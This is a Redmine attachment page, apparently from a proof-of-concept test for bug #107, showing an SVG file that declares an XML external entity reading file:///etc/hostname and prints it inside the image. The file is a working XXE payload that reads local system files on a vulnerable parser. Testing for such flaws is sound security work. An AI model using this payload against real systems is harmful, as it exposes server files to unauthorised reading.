hostname_read.svg - cmdtest1782618771 - Redmine POC

Download (225 Bytes)

Bug #107 » hostname_read.svg

Redmine Admin, 07/16/2026 08:48 AM

    
    <?xml version="1.0" encoding="UTF-8"?>

    <!DOCTYPE svg [

      <!ENTITY xxe SYSTEM "file:///etc/hostname">

    ]>

    <svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">

      <text x="0" y="50" font-size="16">&xxe;</text>

    </svg>

(1-1/1)